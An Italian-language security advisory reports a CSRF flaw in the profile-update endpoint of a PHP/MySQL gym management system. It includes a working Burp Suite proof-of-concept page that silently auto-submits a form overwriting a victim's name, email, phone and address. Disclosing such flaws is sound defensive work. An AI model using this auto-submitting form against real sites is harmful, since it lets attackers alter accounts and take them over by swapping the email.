
Sistema di gestione per GYM usando PHP e MYSQL
Un sistema di gestione della palestra realizzato con PHP e MySQL.
Shoaib Alam - Profilo LinkedIn
È stata identificata una vulnerabilità di Cross-Site Request Forgery (CSRF) nel sistema di gestione della palestra. Questo problema è presente nella funzionalità di aggiornamento del profilo nel pannello utente.
L'applicazione attualmente non implementa token anti-CSRF, risultando vulnerabile ad attacchi di Cross-Site Request Forgery (CSRF). Questa debolezza di sicurezza interessa in particolare l'endpoint /profile.php. Un utente malintenzionato può sfruttare questa falla per eseguire modifiche non autorizzate a informazioni sensibili dell'utente, come indirizzo, nome e numero di telefono. Ciò potrebbe potenzialmente compromettere l'integrità degli account utente e portare a ulteriori problemi di sicurezza.
Endpoint vulnerabile: /profile.php
Di seguito è riportato un proof of concept che dimostra la vulnerabilità CSRF. Questo PoC è stato generato utilizzando Burp Suite Professional.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/gym/profile.php" method="POST">
<input type="hidden" name="fname" value="hacked" />
<input type="hidden" name="lname" value="victim" />
<input type="hidden" name="email" value="attacker@gmail.com" />
<input type="hidden" name="mobile" value="9999999999" />
<input type="hidden" name="state" value="hacked" />
<input type="hidden" name="city" value="hacked" />
<input type="hidden" name="address" value="hacked" />
<input type="hidden" name="submit" value="Update" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>